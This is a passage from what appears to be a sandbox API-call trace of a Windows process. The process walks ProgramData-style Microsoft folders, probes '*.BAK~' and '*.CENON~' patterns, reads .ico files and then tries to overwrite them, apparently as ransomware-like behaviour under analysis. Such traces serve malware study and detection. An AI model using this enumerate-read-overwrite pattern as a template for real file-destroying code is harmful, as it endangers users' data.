lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0113.433] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0113.433] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0113.433] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0113.433] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0113.433] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0113.433] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0113.433] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0113.433] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 0 [0113.440] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\*.BAK~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.440] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.441] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\*.CENON~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.442] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.442] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae160 | out: lpFindFileData=0x1ae160) returned 1 [0113.442] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae160 | out: lpFindFileData=0x1ae160) returned 1 [0113.443] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae160 | out: lpFindFileData=0x1ae160) returned 0 [0113.443] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae1d0 | out: lpFindFileData=0x1ae1d0) returned 1 [0113.443] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae1d0 | out: lpFindFileData=0x1ae1d0) returned 1 [0113.443] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae1d0 | out: lpFindFileData=0x1ae1d0) returned 1 [0113.443] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae1d0 | out: lpFindFileData=0x1ae1d0) returned 1 [0113.443] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae1d0 | out: lpFindFileData=0x1ae1d0) returned 1 [0113.443] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae1d0 | out: lpFindFileData=0x1ae1d0) returned 1 [0113.443] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae1d0 | out: lpFindFileData=0x1ae1d0) returned 0 [0113.443] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\folder.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\folder.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d8 [0113.443] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae4b8 | out: lpFileSizeHigh=0x1ae4b8*=0x0) returned 0xd0a3 [0113.443] ReadFile (in: hFile=0x1d8, lpBuffer=0x29991e8, nNumberOfBytesToRead=0xd0a3, lpNumberOfBytesRead=0x1ae3e8, lpOverlapped=0x0 | out: lpBuffer=0x29991e8*, lpNumberOfBytesRead=0x1ae3e8*=0xd0a3, lpOverlapped=0x0) returned 1 [0113.445] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\folder.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\folder.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0113.447] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_pref.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_pref.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d8 [0113.447] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae4b8 | out: lpFileSizeHigh=0x1ae4b8*=0x0) returned 0xe3c8 [0113.447] ReadFile (in: hFile=0x1d8, lpBuffer=0x29b46e0, nNumberOfBytesToRead=0xe3c8, lpNumberOfBytesRead=0x1ae3e8, lpOverlapped=0x0 | out: lpBuffer=0x29b46e0*, lpNumberOfBytesRead=0x1ae3e8*=0xe3c8, lpOverlapped=0x0) returned 1 [0113.450] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_pref.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_pref.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0113.451] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_property.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_property.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d8 [0113.451] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae4b8 | out: lpFileSizeHigh=0x1ae4b8*=0x0) returned 0xebb8 [0113.452] ReadFile (in: hFile=0x1d8, lpBuffer=0x29d2238, nNumberOfBytesToRead=0xebb8, lpNumberOfBytesRead=0x1ae3e8, lpOverlapped=0x0 | out: lpBuffer=0x29d2238*, lpNumberOfBytesRead=0x1ae3e8*=0xebb8, lpOverlapped=0x0) returned 1 [0113.454] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_property.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_property.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0113.456] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_queue.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_queue.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d8 [0113.456] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae4b8 | out: lpFileSizeHigh=0x1ae4b8*=0x0) returned 0xdff5 [0113.456] ReadFile (in: hFile=0x1d8, lpBuffer=0x29f0d78, nNumberOfBytesToRead=0xdff5, lpNumberOfBytesRead=0x1ae3e8, lpOverlapped=0x0 | out: lpBuffer=0x29f0d78*, lpNumberOfBytesRead=0x1ae3e8*=0xdff5, lpOverlapped=0x0) returned 1 [0113.458] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_queue.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_queue.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0113.460] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d8 [0113.460] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae4b8 | out: lpFileSizeHigh=0x1ae4b8*=0x0) returned 0xec75 [0113.460] ReadFile (in: hFile=0x1d8, lpBuffer=0x2a0e110, nNumberOfBytesToRead=0xec75, lpNumberOfBytesRead=0x1ae3e8, lpOverlapped=0x0 | out: lpBuffer=0x2a0e110*, lpNumberOfBytesRead=0x1ae3e8*=0xec75, lpOverlapped=0x0) returned 1 [0113.462] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0113.463] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_property.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_property.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d8 [0113.463] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae4b8 | out: lpFileSizeHigh=0x1ae4b8*=0x0) returned 0x10654 [0113.464] ReadFile (in: hFile=0x1d8, lpBuffer=0x2a2cda0, nNumberOfBytesToRead=0x10654, lpNumberOfBytesRead=0x1ae3e8, lpOverlapped=0x0 | out: lpBuffer=0x2a2cda0*, lpNumberOfBytesRead=0x1ae3e8*=0x10654, lpOverlapped=0x0) returned 1 [0113.466] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_property.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_property.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0113.467] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_settings.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_settings.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d8 [0113.467] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae4b8 | out: lpFileSizeHigh=0x1ae4b8*=0x0) returned 0xf8c2 [0113.467] ReadFile (in: hFile=0x1d8, lpBuffer=0x2a4ee20, nNumberOfBytesToRead=0xf8c2, lpNumberOfBytesRead=0x1ae3e8, lpOverlapped=0x0 | out: lpBuffer=0x2a4ee20*, lpNumberOfBytesRead=0x1ae3e8*=0xf8c2, lpOverlapped=0x0) returned 1 [0113.469] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_settings.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_settings.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0113.479] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.479] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.480] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.481] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.481] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0113.482] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0113.482] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0113.482] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0113.482] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0113.482] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0113.482] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0113.482] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0113.482] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0113.482] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0113.482] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 0 [0113.488] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\*.BAK~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.488] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.489] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\*.CENON~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.489] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.490] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae160 | out: lpFindFileData=0x1ae160) returned 1 [0113.490] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae160 | out: lpFindFileData=0x1ae160) returned 1 [0113.490] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae160 | out: lpFindFileData=0x1ae160) returned 0 [0113.496] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\DeviceSync\\*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.496] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.497] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\DeviceSync\\*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.497] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.498] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0113.498] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 0 [0113.505] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\DRM\\*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.505] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.506] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\DRM\\*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.506] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.507] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0113.507] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0113.507] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 0 [0113.513] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\DRM\\Server\\*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.513] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.514] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\DRM\\Server\\*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.514] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.515] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0113.515] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 0 [0113.520] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\eHome\\*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.520] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.521] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\eHome\\*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.521] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.522] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0113.522] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0113.522] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 0 [0113.527] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\eHome\\logs\\*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.527] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.528] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\eHome\\logs\\*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.529] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.529] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0113.529] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 0 [0113.535] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Event Viewer\\*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.536] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.536] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Event Viewer\\*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.537] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.537] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0113.537] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0113.537] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 0 [0113.543] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.543] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.544] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.544] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.545] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0113.545] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0113.545] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 0 [0113.550] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.550] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.551] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.552] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.552] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0113.552] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 0 [0113.561] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.561] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.562] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.562] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.562] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0113.563] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0113.563] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0113.563] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 0 [0113.568] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Media Player\\*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.568] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.569] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Media Player\\*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.569] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.570] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0113.570] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 0 [0113.575] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\MF\\*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.575] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.576] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\MF\\*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.576] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.577] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0113.577] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0113.577] FindNextFileW 